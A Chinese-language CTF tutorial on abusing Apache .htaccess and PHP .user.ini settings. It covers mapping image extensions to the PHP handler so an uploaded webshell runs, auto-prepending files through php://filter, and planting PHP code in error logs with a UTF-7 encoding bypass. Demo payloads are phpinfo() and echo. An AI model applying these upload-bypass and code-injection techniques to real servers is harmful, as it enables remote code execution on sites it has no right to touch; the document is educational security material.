.htaccess介绍
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
环境配置
我使用的是 phpstudy集成环境(apache + php + mysql)
开启.htaccess
打开apache conf目录下的的httpd.conf
,查找
Options FollowSymLinks AllowOverride None
改为 Options FollowSymLinks AllowOverride All
去掉下面语句的注释:
LoadModule rewrite_module modules/mod_rewrite.so
用法详解
1. 修改文件解析规则
新建一个.htaccess
文件,写入以下内容:
AddType application/x-httpd-php .abc
上述语句作用是将该目录下所有以.abc
为后缀的文件当作 php文件解析
测试
新建test.abc
,写入以下内容:
<?php echo "this is test.abc";?>
访问,成功解析为 php文件
注意
如果用的是 phpstudy集成环境,AddType application/x-httpd-php 后缀
里面的 后缀只能是 apache 不认识的后缀
比如我将 .htaccess的内容改为AddType application/x-httpd-php .jpg
,test.abc
改为test.jpg
,就不会解析为 php
但是我们换一种写法,将 .htaccess的内容改为:(注意修改路径)
AddHandler fcgid-script .jpg
FcgidWrapper "D:/phpstudy_pro/Extensions/php/php7.3.4nts/php-cgi.exe" .jpg
至于为什么,请参考大佬的文章:https://cloud.tencent.com/developer/article/1523311
CTF中的使用
上传.htaccess
文件,内容为AddType application/x-httpd-php 后缀
,然后上传合法后缀的一句话木马,这样一句话木马就能被当作 php文件执行
2. 自动包含文件
.htaccess设置php环境变量的格式 如下:
#format
php_value setting_name setting_value
#example
php_value auto_prepend_file .htaccess
#auto_prepend_file支持php伪协议
php_value auto_append_file "php://filter/convert.base64-decode/resource=xxx.php"
php_value auto_prepend_file .htaccess
作用是将.htaccess
require到该目录所有页面的顶部
测试
自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理 。
由于 phpstudy下的apache使用的是CGI/FastCGI模式,在.htaccess
中使用php_value
会导致500错误,所以我这里使用.user.ini
替代 .htaccess
来测试,效果一样,只是写法格式有点差别。在目录下创建.user.ini
文件,内容如下:
auto_prepend_file = test.jpg
( test.jpg 内容是:<?php echo "this is test.jpg";?>
)
重启 apache ,现在该目录所有文件都会在开头包含<?php echo "this is test.jpg";?>
访问一下 index.php
3. 利用报错信息写文件
.htaccess文件中可以自己定义错误日志,这样就可以将木马写入报错日志文件中
php_value include_path "xxx" # 设置包含路径,include()默认路径改变为 xxx
php_value error_reporting 32767 # 报错等级,32767是报告所有可能出现的错误,确保我们可以写入木马
php_value error_log /tmp/log.php # 报错日志文件是 /tmp/error_log.php
测试
test.php
内容如下:
<?php include(fl4g.php); ?>
.user.ini
内容如下:
include_path="D:\phpstudy_pro\WWW\"
error_reporting=32767
error_log=error_log.php
我们访问test.php
的时候会include(D:\phpstudy_pro\WWW\log.php)
,但是由于不存在该文件,所以会报错,报错信息会写入到当前目录下的error_log.php
文件
写入的报错信息包含了我们在.user.ini
写入的include_path="D:\phpstudy_pro\WWW\"
将include_path=""
改为一句话木马,include_path="<?php phpinfo(); ?>"
访问test.php
,然后查看error_log.php
<?php phpinfo(); ?>
被写入,只不过尖括号被 html编码了,只需绕过 html编码,即可执行木马
绕过<>
欺骗 apache使用UTF-7解析文件:
php_value zend.multibyte 1 # 启用多字节编码的源文件解析php_value zend.script_encoding "UTF-7" # 告诉服务器文件内容为 utf-7编码,按照 utf-7来解析
这样将木马写成 utf-7编码就可以绕过 <>,而且可以被执行
用函数进行 utf-7编码:
<?php echo mb_convert_encoding('<?php phpinfo(); ?>',"utf-7");?>
得到<?php phpinfo(); ?>
的 utf-7编码为+ADw?php phpinfo()+ADs ?+AD4-
.user.ini
:
include_path="+ADw?php phpinfo()+ADs ?+AD4-"error_reporting=32767error_log=error_log.phpzend.multibyte=1zend.script_encoding="UTF-7"
访问test.php
,查看error_log.php
:
访问error_log.php
:
成功执行 phpinfo()
参考文章:
https://www.cnblogs.com/20175211lyz/p/11741348.html
https://blog.csdn.net/weixin_30726605/article/details/116467338